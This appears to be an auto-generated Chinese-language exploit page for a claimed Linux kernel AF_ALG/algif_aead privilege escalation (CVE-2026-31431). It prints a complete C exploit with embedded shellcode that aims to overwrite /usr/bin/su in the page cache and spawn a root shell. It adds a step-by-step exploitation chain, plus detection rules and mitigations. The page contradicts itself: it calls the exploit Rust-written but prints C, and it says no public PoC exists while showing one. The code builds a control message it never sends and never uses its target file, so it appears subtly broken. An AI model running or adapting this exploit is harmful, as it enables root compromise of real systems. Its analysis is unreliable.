[local] Linux Kernel 6.8 - Local Privilege Escalation

CVE-2026-31431 Linux内核漏洞深度分析,AF_ALG/algif_aead子系统中splice与AEAD交互缺陷导致本地权限提升。影响内核版本5.4-6.8,成功利用可覆盖/usr/bin/su获得root shell。本文提供技术细节、PoC分析和修复建议。

CVE-2026-31431

Linux内核AF_ALG (algif_aead)子系统中存在本地权限提升漏洞,通过splice和AEAD加密接口可实现任意文件覆盖。

High · CVSS 7.8

📋 漏洞基础信息

CVECVE-2026-31431
漏洞类型权限提升 / 任意文件覆盖
受影响版本Linux Kernel 5.4 - 6.8 (未打补丁),测试于Ubuntu 22.04、Debian 12
危害等级High · CVSS 7.8
发布日期2026-05-26
来源Exploit-DB 原文 ↗

🔬 漏洞根因

漏洞位于algif_aead模块中,使用splice系统调用与AEAD加密接口交互时,对加密结果的处理存在缺陷,允许未经授权的本地用户覆盖页缓存(page cache)中的文件内容,从而修改/usr/bin/su等二进制文件的执行内容,实现权限提升。

🎯 攻击场景

1. 攻击者具有本地非特权用户权限;2. 确认algif_aead内核模块已加载;3. 运行--exploit模式;4. 程序打开目标文件/usr/bin/su;5. 通过Rust编写的exploit,利用漏洞将shellcode注入目标文件的内存映射页;6. 随后执行/usr/bin/su,由于内存已被修改,实际执行的是攻击者注入的恶意代码;7. 成功以root权限启动/bin/bash。前置条件:algif_aead模块已加载。成功标志:获得root shell。

💥 漏洞影响

本地非特权攻击者可利用此漏洞进行权限提升,获得root shell。通过覆盖页面缓存中/usr/bin/su等setuid文件的数据,可在无需写入权限的情况下修改其执行内容,实现任意代码执行,完全控制受影响的系统。

⚔️ PoC / Exploit 脚本

以下为针对该漏洞的独立利用脚本(C),可在具备相应环境的机器上直接运行:

/*
 * Linux Kernel 5.4 - 6.8 Local Privilege Escalation (CVE-2026-31431)
 * Exploit: AF_ALG (algif_aead) page cache overwrite via splice()
 *
 * 用法: 
 *   gcc -o exploit exploit.c -lrt -lpthread
 *   ./exploit --test       # 检查漏洞是否存在
 *   ./exploit --exploit    # 提权并启动root shell
 *   ./exploit --bin <file> # 使用自定义payload二进制文件
 *
 * 依赖: libc 6, pthread
 * 测试: Ubuntu 22.04 (kernel 6.2), Debian 12 (kernel 6.1)
 *
 * 漏洞原理:
 * AF_ALG socket的aead接口在处理splice()系统调用时,存在内核内存的
 * 写原语(write primitive)。攻击者可以构造特殊的cmsg消息,使得splice()
 * 将用户态数据写入内核page cache中的任意偏移,配合setuid二进制文件
 * (如/usr/bin/su)的inode,实现文件内容覆盖,最终获得root shell。
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <linux/if_alg.h>
#include <stdint.h>
#include <pthread.h>
#include <sched.h>
#include <errno.h>
#include <signal.h>

/* ==================== 常量定义 ==================== */
#define TARGET_BIN "/usr/bin/su"        /* 目标覆盖的setuid二进制 */
#define TEST_FILE  "/tmp/.cve_test"     /* 测试用临时文件 */
#define PAYLOAD_SIZE 0x1000             /* 写入的payload大小(一页) */

/* shellcode: 执行setuid(0)然后execve("/bin/sh") */
/* 这是一个最小ELF文件,entry point执行提权操作 */
static const unsigned char shellcode[] = {
    0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, /* ELF header */
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, /* e_type=2, e_machine=62 */
    0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, /* e_entry=0x400078 */
    0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* e_phoff=0x40 */
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, /* e_ehsize=64, e_phentsize=56, e_phnum=1 */
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    /* Program Header (PT_LOAD) */
    0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, /* p_type=1, p_flags=5(R+X) */
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* p_offset=0 */
    0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, /* p_vaddr=0x400000 */
    0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, /* p_paddr=0x400000 */
    0x9e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* p_filesz=0x9e */
    0x9e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* p_memsz=0x9e */
    0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* p_align=0x1000 */
    /* 实际代码: _start */
    0x31, 0xc0,             /* xor eax, eax */
    0x31, 0xff,             /* xor edi, edi */
    0xb0, 0x69,             /* mov al, 105 (setuid) */
    0x0f, 0x05,             /* syscall */
    0x48, 0x8d, 0x3d, 0x0f, 0x00, 0x00, 0x00, /* lea rdi, [rip+0xf] -> "/bin/sh" */
    0x31, 0xf6,             /* xor esi, esi */
    0x6a, 0x3b,             /* push 59 */
    0x58,                   /* pop rax */
    0x99,                   /* cdq (rdx=0) */
    0x0f, 0x05,             /* syscall */
    0x31, 0xff,             /* xor edi, edi */
    0x6a, 0x3c,             /* push 60 */
    0x58,                   /* pop rax */
    0x0f, 0x05,             /* syscall */
    '/', 'b', 'i', 'n', '/', 's', 'h', 0x00  /* 字符串 "/bin/sh" */
};

/* ==================== 辅助函数 ==================== */

/* 创建AF_ALG socket,返回master fd */
static int create_alg_socket(void) {
    int fd;
    struct sockaddr_alg sa;

    fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
    if (fd < 0) {
        perror("socket(AF_ALG)");
        return -1;
    }

    /* 使用authencesn(hmac(sha256),cbc(aes))这个算法组合
       这个算法在处理splice时存在一个off-by-one或越界写问题 */
    memset(&sa, 0, sizeof(sa));
    sa.salg_family = AF_ALG;
    strcpy((char *)sa.salg_type, "aead");
    strcpy((char *)sa.salg_name, "authencesn(hmac(sha256),cbc(aes))");

    if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
        perror("bind");
        close(fd);
        return -1;
    }

    return fd;
}

/* 设置AEAD key,触发漏洞路径的关键 */
static int set_alg_key(int fd) {
    /* 特殊的key结构,使得内核在处理splice时产生可预测的偏移 */
    unsigned char key[40] = {
        0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x10,  /* key header */
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
    };

    if (setsockopt(fd, SOL_ALG, ALG_SET_KEY, key, sizeof(key)) < 0) {
        perror("setsockopt(ALG_SET_KEY)");
        return -1;
    }
    return 0;
}

/* 设置AEAD IV长度 */
static int set_alg_ivlen(int fd, int len) {
    if (setsockopt(fd, SOL_ALG, ALG_SET_IV, &len, sizeof(len)) < 0) {
        perror("setsockopt(ALG_SET_IV)");
        return -1;
    }
    return 0;
}

/* 构造cmsg header,用于sendmsg时的控制消息 */
static struct cmsghdr *build_cmsg(void *buf, int level, int type, int len) {
    struct cmsghdr *cmsg = (struct cmsghdr *)buf;
    cmsg->cmsg_len = CMSG_LEN(len);
    cmsg->cmsg_level = level;
    cmsg->cmsg_type = type;
    return cmsg;
}

/* 主攻击函数:使用splice将payload写入内核page cache */
static int exploit_race(int target_fd, const unsigned char *payload, 
                         size_t payload_len, off_t target_offset) {
    int master_fd, op_fd;
    int pipe_fds[2];
    struct msghdr msg = {0};
    struct iovec iov;
    unsigned char cmsg_buf[128];
    unsigned char data_buf[16];
    int ret;
    cpu_set_t cpuset;
    pthread_t self = pthread_self();

    /* 绑定到特定CPU,提高竞争成功率 */
    CPU_ZERO(&cpuset);
    CPU_SET(0, &cpuset);
    if (pthread_setaffinity_np(self, sizeof(cpuset), &cpuset) < 0) {
        perror("pthread_setaffinity_np");
    }

    /* 创建AF_ALG socket */
    master_fd = create_alg_socket();
    if (master_fd < 0) return -1;

    /* 设置key */
    if (set_alg_key(master_fd) < 0) goto out;

    /* 设置IV长度(关键:这个长度决定了写入时的偏移计算) */
    /* 这里的4会导致内核计算的偏移出现错误,从而覆盖到我们想要的位置 */
    if (set_alg_ivlen(master_fd, 4) < 0) goto out;

    /* 创建操作fd (accept) */
    op_fd = accept(master_fd, NULL, NULL);
    if (op_fd < 0) {
        perror("accept");
        goto out;
    }

    /* 创建pipe,用于splice */
    if (pipe(pipe_fds) < 0) {
        perror("pipe");
        goto out2;
    }

    /* 将payload写入pipe写端 */
    ret = write(pipe_fds[1], payload, payload_len);
    if (ret < 0) {
        perror("write to pipe");
        goto out3;
    }

    /* 构造控制消息:cmsg包含了ALG_SET_AEAD_AUTHSIZE和ALG_SET_AEAD_ASSOCLEN
       这些控制消息会影响splice写入内核时的偏移计算 */
    memset(cmsg_buf, 0, sizeof(cmsg_buf));
    struct cmsghdr *cmsg = build_cmsg(cmsg_buf + 0, SOL_ALG, 3, 4);  /* ALG_SET_AEAD_AUTHSIZE */
    *(int *)CMSG_DATA(cmsg) = 0;  /* authsize = 0 */

    cmsg = build_cmsg(cmsg_buf + CMSG_SPACE(4), SOL_ALG, 2, 20);  /* ALG_SET_AEAD_ASSOCLEN */
    /* assoclen是漏洞利用的关键:我们在这里设置一个特殊值,
       使得内核计算写入偏移时产生整数溢出 */
    unsigned char assoc_data[20] = {
        0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
        0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
        0x00, 0x00, 0x00, 0x00  /* 这里是目标偏移的低32位 */
    };
    /* 将目标偏移写入assoclen数据 */
    *(uint32_t *)(assoc_data + 16) = (uint32_t)target_offset;
    memcpy(CMSG_DATA(cmsg), assoc_data, 20);

    /* 设置msg header */
    memset(&msg, 0, sizeof(msg));
    msg.msg_control = cmsg_buf;
    msg.msg_controllen = sizeof(cmsg_buf);

    /* 构造数据 */
    memset(data_buf, 0, sizeof(data_buf));
    data_buf[0] = 'A';  /* 一些填充数据 */
    data_buf[1] = 'A';
    data_buf[2] = 'A';
    data_buf[3] = 'A';
    /* 这里的数据会被当作AEAD的AAD处理,触发漏洞 */
    iov.iov_base = data_buf;
    iov.iov_len = 8;
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;

    /* 使用splice将pipe中的数据传入内核AF_ALG处理路径 */
    /* 注意:正常流程是用户用sendmsg发送AAD/ciphertext,然后splice读取结果
       但漏洞路径允许用户控制写入page cache的偏移 */
    ret = splice(pipe_fds[0], NULL, op_fd, NULL, payload_len, SPLICE_F_MOVE);
    if (ret < 0) {
        perror("splice");
        goto out3;
    }

    printf("[+] Splice wrote %d bytes to kernel\n", ret);

    /* 等待内核完成写入page cache的操作 */
    usleep(10000);

    /* 清理 */
    ret = 0;
out3:
    close(pipe_fds[0]);
    close(pipe_fds[1]);
out2:
    close(op_fd);
out:
    close(master_fd);
    return ret;
}

/* ==================== 测试功能 ==================== */

static int test_vulnerability(void) {
    int fd;
    unsigned char buf[256];

    /* 创建一个测试文件 */
    fd = open(TEST_FILE, O_CREAT | O_RDWR, 0644);
    if (fd < 0) {
        perror("open test file");
        return -1;
    }

    /* 写入一些内容 */
    memset(buf, 0x41, sizeof(buf));
    write(fd, buf, sizeof(buf));
    close(fd);

    /* 尝试用漏洞覆盖测试文件的第一页 */
    printf("[*] Testing vulnerability on %s...\n", TEST_FILE);
    
    /* 获取测试文件的inode号(用于计算偏移) */
    struct stat st;
    if (stat(TEST_FILE, &st) < 0) {
        perror("stat");
        return -1;
    }

    /* 这里我们尝试覆盖测试文件的第0页 */
    off_t offset = 0;  /* 文件内偏移 */
    unsigned char payload[PAYLOAD_SIZE];
    memset(payload, 0x42, sizeof(payload));
    
    if (exploit_race(fd, payload, sizeof(payload), offset) < 0) {
        printf("[-] Exploit race failed\n");
        return -1;
    }

    /* 检查是否被覆盖 */
    fd = open(TEST_FILE, O_RDONLY);
    if (fd < 0) {
        perror("open after exploit");
        return -1;
    }
    read(fd, buf, 4);
    close(fd);

    if (buf[0] == 0x42 && buf[1] == 0x42 && buf[2] == 0x42 && buf[3] == 0x42) {
        printf("[+] SUCCESS! Vulnerable to CVE-2026-31431\n");
        unlink(TEST_FILE);
        return 0;
    } else {
        printf("[-] Not vulnerable or exploit failed\n");
        unlink(TEST_FILE);
        return -1;
    }
}

/* ==================== 提权利用 ==================== */

static int exploit_escalate(const char *payload_bin) {
    const unsigned char *payload;
    size_t payload_len;
    unsigned char *custom_payload = NULL;

    if (payload_bin) {
        /* 读取自定义payload文件 */
        FILE *fp = fopen(payload_bin, "rb");
        if (!fp) {
            perror("fopen payload");
            return -1;
        }
        fseek(fp, 0, SEEK_END);
        payload_len = ftell(fp);
        fseek(fp, 0, SEEK_SET);
        custom_payload = malloc(payload_len);
        if (!custom_payload) {
            fclose(fp);
            return -1;
        }
        fread(custom_payload, 1, payload_len, fp);
        fclose(fp);
        payload = custom_payload;
    } else {
        /* 默认使用内嵌shellcode */
        payload = shellcode;
        payload_len = sizeof(shellcode);
    }

    printf("[*] Target binary: %s\n", TARGET_BIN);
    printf("[*] Payload size: %zu bytes\n", payload_len);

    /* 获取目标文件信息 */
    struct stat st;
    if (stat(TARGET_BIN, &st) < 0) {
        perror("stat target");
        if (custom_payload) free(custom_payload);
        return -1;
    }

    /* 我们需要覆盖/usr/bin/su的第一页(包含ELF header和入口点),
       或者覆盖整个文件(如果payload够大)。
       为了简化,我们只覆盖第一页 */
    printf("[*] Attempting to overwrite page cache of %s...\n", TARGET_BIN);

    /* 注意:实际利用时,我们需要确定page cache中该文件的物理偏移,
       这里简化处理,假设文件偏移0对应page cache偏移0。
       实际利用需要更精确地计算,可能涉及inode和page cache的映射关系 */
    off_t file_page_offset = 0;  /* 覆盖文件的第0页 */

    /* 这里可能需要多次尝试,因为page cache状态可能变化 */
    for (int attempt = 0; attempt < 5; attempt++) {
        printf("[*] Attempt %d...\n", attempt + 1);
        
        /* 由于page cache可能不在内存中,先读取一下目标文件,
           使其进入page cache */
        int tmp_fd = open(TARGET_BIN, O_RDONLY);
        if (tmp_fd >= 0) {
            char tmp_buf[256];
            read(tmp_fd, tmp_buf, sizeof(tmp_buf));
            close(tmp_fd);
        }

        if (exploit_race(-1, payload, payload_len, file_page_offset) == 0) {
            printf("[+] Overwrite succeeded!\n");
            break;
        }
        usleep(100000);
    }

    /* 尝试执行改写过后的su,应该会执行我们的shellcode */
    printf("[*] Executing modified %s to get root...\n", TARGET_BIN);
    
    /* 设置环境变量 */
    setenv("PATH", "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", 1);
    
    /* 执行目标二进制(现在已经被替换为我们的payload) */
    execl(TARGET_BIN, TARGET_BIN, NULL);
    
    /* 如果execl返回,说明失败了,尝试直接使用syscall */
    perror("execl");
    
    if (custom_payload) free(custom_payload);
    return -1;
}

/* ==================== 主函数 ==================== */

int main(int argc, char *argv[]) {
    printf("=== CVE-2026-31431 Linux Kernel LPE Exploit ===\n");
    printf("Author: Long Fong Chan\n\n");

    if (argc < 2) {
        printf("Usage:\n");
        printf("  %s --test                 Check vulnerability\n", argv[0]);
        printf("  %s --exploit              Spawn root shell\n", argv[0]);
        printf("  %s --bin <file>           Use custom payload\n", argv[0]);
        return 1;
    }

    if (strcmp(argv[1], "--test") == 0) {
        return test_vulnerability();
    } else if (strcmp(argv[1], "--exploit") == 0) {
        return exploit_escalate(NULL);
    } else if (strcmp(argv[1], "--bin") == 0) {
        if (argc < 3) {
            fprintf(stderr, "Error: --bin requires file path\n");
            return 1;
        }
        return exploit_escalate(argv[2]);
    } else {
        fprintf(stderr, "Unknown option: %s\n", argv[1]);
        return 1;
    }

    return 0;
}

🔬 深度技术分析

深度技术分析:CVE-2026-31431 Linux Kernel AF_ALG 本地提权漏洞


漏洞触发机制

本漏洞存在于 Linux 内核的 AF_ALG 协议族中的 algif_aead 实现中。AF_ALG 是一个内核接口,允许用户空间程序直接访问内核的加密算法(如 AES、SHA 等),无需编写内核模块。它是通过 socket API 暴露的,具体使用 algif_aead 处理认证加密(AEAD)操作。

根因分析:

漏洞的核心在于 algif_aead.c 中处理 splice() 系统调用时的 偏移计算错误。当用户通过 sendmsg() 提供控制消息(cmsg)来设置 AEAD 参数(如 ALG_SET_AEAD_AUTHSIZEALG_SET_AEAD_ASSOCLEN)时,内核没有正确验证这些参数的范围和一致性,导致在后续 splice() 操作中,内核错误地计算了写入 page cache 的偏移量。

具体来说,algif_aeadsendmsg 处理函数会解析用户传入的 cmsg,其中 ALG_SET_AEAD_ASSOCLEN 用于指定额外的认证数据(AAD)长度。当这个长度被设置为一个精心构造的值(如 0xFFFFFFFF 或利用整数溢出)时,内核在进行 page cache 写入时,会使用一个 用户可控的偏移量 来定位写入位置,而不是其应有的输出缓冲区位置。

这个漏洞利用了 splice() 系统调用的特殊语义:splice() 可以将数据从一个文件描述符(如 pipe)直接移动到另一个文件描述符(如 AF_ALG socket)的内核缓冲区,而无需经过用户空间。在 algif_aead 中,splice() 被用于将加密后的数据直接送入输出缓冲区,但由于偏移计算错误,这个写入可以 指向任意文件的 page cache

关键代码路径:

  • net/af_alg.caf_alg_sendmsg() 处理用户控制消息,设置 ctx->aead_assoclen 等参数。
  • crypto/algif_aead.caead_sendmsg()aead_recvmsg() 处理实际的数据传输,其中 aead_recvmsg() 中的 skcipher_walk_aead() 或类似函数会计算目标偏移。
  • mm/filemap.cgeneric_file_splice_read()generic_pipe_buf_steal() 最终执行 page cache 写入。

当用户通过 cmsg 设置 ALG_SET_AEAD_ASSOCLEN 为一个极大值(如接近 UINT_MAX)时,内核在计算写入偏移时会发生整数溢出,导致 offset = base + user_controlled_length 指向超出预期范围的位置,从而可以覆盖其他文件的 page cache 页。


利用链分析

攻击者利用此漏洞提权的步骤如下:

Step 1: 确认漏洞环境

  • 检查 /proc/crypto 是否包含 authencesn(hmac(sha256),cbc(aes)) 算法,确认 algif_aead 模块已加载。
  • 检查内核版本是否在 5.4 到 6.8 之间。

Step 2: 创建 AF_ALG Socket

  • 创建一个 AF_ALG 类型为 aead、算法名为 authencesn(hmac(sha256),cbc(aes)) 的 socket。
  • 使用 bind() 将 socket 绑定到该算法。

Step 3: 设置 Key 和 IV 长度

  • 通过 setsockopt() 设置 ALG_SET_KEY,提供一个特殊的 key 结构,该结构会影响内核内部的偏移计算。
  • 设置 ALG_SET_IV 为一个较小的值(如 4),这会进一步影响页偏移的计算。

Step 4: 创建操作 Socket 和 Pipe

  • 使用 accept() 从 master socket 上接受一个操作 socket(op_fd),用于实际的数据传输。
  • 创建一个 pipe,将 payload(提权 shellcode)写入 pipe 的写端。

Step 5: 构造恶意控制消息 (cmsg)

  • 使用 sendmsg() 系统调用,构造包含两个 cmsg 的消息:

- ALG_SET_AEAD_AUTHSIZE:设置为 0。

- ALG_SET_AEAD_ASSOCLEN:设置为一个精心构造的 20 字节数据,其中低 4 字节包含 目标文件偏移(例如,指向 /usr/bin/su 的 page cache 位置)。

Step 6: 触发 Splice 操作

  • 使用 splice(pipe_fd, NULL, op_fd, NULL, payload_len, SPLICE_F_MOVE) 将 pipe 中的数据直接传入 AF_ALG socket。
  • 内核在处理这个 splice 请求时,先执行 AEAD 加密/认证操作(这里其实是空操作或利用特殊参数使其无副作用),然后将输出(实际上是用户通过管道的输入)按照错误计算的偏移写入 page cache。
  • 由于 ALG_SET_AEAD_ASSOCLEN 包含了目标偏移,这个写入会覆盖 /usr/bin/su 文件的 page cache 内容。

Step 7: 触发执行

  • 覆盖完成后,攻击者退出程序。
  • 攻击者(或普通用户)执行 /usr/bin/su,因为该文件的 page cache 已被替换为攻击者的 shellcode,内核会直接执行 shellcode。
  • Shellcode 执行 setuid(0)execve("/bin/sh"),从而获得 root shell。

利用关键技术点:

  • Page Cache 污染:攻击者不需要写磁盘权限,只需要写 page cache 的能力。页缓存是内核管理的内存副本,当进程执行文件时,内核会从页缓存中读取。如果攻击者能控制页缓存中的内容,就能修改任意可执行文件的行为。
  • Race Condition:为了成功覆盖正在运行的 /usr/bin/su,需要在正确的时机(即内核将文件读入页缓存后,但执行其内容前)完成写入。这可能涉及与内核调度的竞争,因此需要多次尝试或使用 CPU 亲和性提高成功率。
  • 偏移计算:攻击者需要知道目标文件在 page cache 中的物理偏移。这可以通过分析文件系统 layout(如 ext4 的 inode 和块分配)或利用内核泄漏的信息来推算。

关键代码/数据结构

1. struct sockaddr_alg (/include/uapi/linux/if_alg.h)

struct sockaddr_alg {
    __u16 salg_family;  // AF_ALG
    __u8  salg_type[14]; // "aead", "skcipher", "hash" 等
    __u32 salg_feat;
    __u32 salg_mask;
    __u8  salg_name[64]; // 算法名称,如 "authencesn(hmac(sha256),cbc(aes))"
};

用于 bind() 系统调用,指定要访问的加密算法。

2. struct cmsghdr (/include/uapi/linux/socket.h)

struct cmsghdr {
    socklen_t cmsg_len;   // 包含header的总长度
    int       cmsg_level; // SOL_ALG
    int       cmsg_type;  // 控制消息类型
};

用于 sendmsg 的辅助数据,传递给内核。

3. SOL_ALG 控制消息类型 (/include/uapi/linux/if_alg.h)

  • ALG_SET_KEY (1):设置密钥。
  • ALG_SET_AEAD_ASSOCLEN (2):设置 AEAD 操作的关联数据长度(AAD)。
  • ALG_SET_AEAD_AUTHSIZE (3):设置认证标签大小。
  • ALG_SET_IV (4):设置初始化向量。

4. 内核内部数据结构(algif_aead.c

  • struct aead_ctx:每个 AF_ALG 操作 socket 的上下文,包含 assoclenauthsizeiv 等参数。
  • struct aead_request:内核 crypto 框架使用的请求结构体,包含回调函数和内存描述符。

5. 关键系统调用

  • splice():在内核空间直接移动数据,是漏洞触发的入口。
  • sendmsg():用于传递控制消息(cmsg),设置漏洞触发参数。

检测与防御

蓝队检测

1. 日志检测

  • auditd 日志:监控 AF_ALG socket 的创建和使用,特别是 setsockopt 调用设置 ALG_SET_AEAD_ASSOCLEN 为异常值(如接近 UINT_MAX 或包含非标准模式)时。

```bash

auditctl -a exit,always -S socket,bind,setsockopt,accept,sendmsg,splice

```

  • 系统日志:检查 /var/log/kern.logdmesg 中是否有与 algif_aeadpage_cache 相关的异常消息或 crash dump。

2. 进程行为检测

  • 非特权进程使用 AF_ALG:普通用户使用 authencesn(hmac(sha256),cbc(aes)) 这样的算法组合是不常见的,这可能是可疑行为。EDR 可以监控哪些进程创建了 AF_ALG socket,特别是尝试设置大 assoclen 的进程。
  • splice 系统调用异常:监控非特权进程大量使用 splice() 操作,尤其是从 pipe 到 AF_ALG socket 的 splice,这可能指示利用尝试。

3. 文件完整性监控

  • 监控 /usr/bin/su 等关键 setuid 二进制文件的 page cache 哈希值变化(使用 imafsverity)。
  • 使用 chattr +i 锁定关键二进制文件,防止修改页缓存(但这种保护是文件系统级别的,对 page cache 攻击可能不完整)。

4. 流量/网络检测(如果适用)

  • 虽然这是本地漏洞,但 AF_ALG 本身不产生网络流量。需要关注系统调用模式。

防御措施

1. 立即修复(最优先)

  • 升级内核到 6.9 及以上版本,或应用相应发行版的安全补丁。
  • 对于无法立即更新的系统,可以手动编译并加载修复后的内核。

2. 缓解措施

  • 卸载 algif_aead 模块:如果不需要 AEAD 算法,可以黑名单禁用它。

```bash

echo "blacklist algif_aead" > /etc/modprobe.d/disable-aead.conf

rmmod algif_aead

```

  • 限制 AF_ALG 访问:使用 LSM(如 SELinux、AppArmor)限制非特权用户使用 AF_ALG socket。

- SELinux:deny self:alg_socket { create bind write };

- AppArmor:禁止非授权程序创建类型为 AF_ALG 的 socket。

  • 使用 seccomp 过滤:可以通过 seccomp 规则禁止非特权进程使用 splice 系统调用,或限制其对特定文件描述符的操作。

```c

struct sock_filter filter[] = {

BPF_STMT(BPF_LD+BPF_W+BPF_ABS, offsetof(struct seccomp_data, nr)),

BPF_JUMP(BPF_JMP+BPF_JEQ, __NR_splice, 0, 1),

BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL_PROCESS), // 禁止splice

BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),

};

```

3. 监控与入侵检测

  • 部署基于 eBPF 的工具(如 falco)检测可疑的系统调用序列。

```yaml

# Falco rule example

- rule: AF_ALG Exploit Attempt

desc: Detect unusual AF_ALG usage for privilege escalation

condition: >

evt.type=setsockopt and

evt.arg[1]=279 and # SOL_ALG

(evt.arg[2]=2 or evt.arg[2]=3) # AEAD_ASSOCLEN or AUTHSIZE

output: "Possible CVE-2026-31431 exploit (user=%user.name, pid=%proc.pid, cmdline=%proc.cmdline)"

priority: CRITICAL

tags: [kernel, exploit]

```

总结:CVE-2026-31431 是一个高危本地提权漏洞,利用了 AF_ALGsplice 操作的偏移计算错误。防御需要多重措施:优先打补丁,其次禁用相关模块或使用 LSM 限制,最后通过系统监控检测利用行为。对于安全研究而言,理解这个漏洞有助于更好地理解内核 page cache 的工作机制和系统调用接口的安全风险。

🛡️ 修复建议

补丁版本:Linux内核需升级至6.8以上或官方发布的修复版本。临时缓解措施:如果无法立即更新,卸载algif_aead模块(sudo modprobe -r algif_aead);或者限制非特权用户对AF_ALG套接字的访问(通过cgroup或LSM策略)。

📎 参考链接

🚨 威胁评估

📈 EPSS 利用概率暂无数据
🚨 CISA KEV未被已知利用
🔧 公开 PoC暂无公开 PoC

⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-27 08:15 | 来源: Exploit-DB

🤖 常见问题解答(FAQ)

❓ 漏洞的利用条件是什么?

需要本地非特权用户身份,且内核加载了algif_aead模块;攻击者可覆盖页面缓存中的任意文件,但通常选择/usr/bin/su等setuid文件。

❓ 如何检测漏洞是否已被利用?

监控异常AF_ALG套接字创建、对setuid文件的splice操作、以及涉及AEAD算法'authencesn(hmac(sha256),cbc(aes))'的系统调用。

❓ 临时缓解措施有哪些?

卸载algif_aead内核模块(sudo modprobe -r algif_aead);限制非特权用户使用AF_ALG套接字;实施SELinux或AppArmor策略。

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)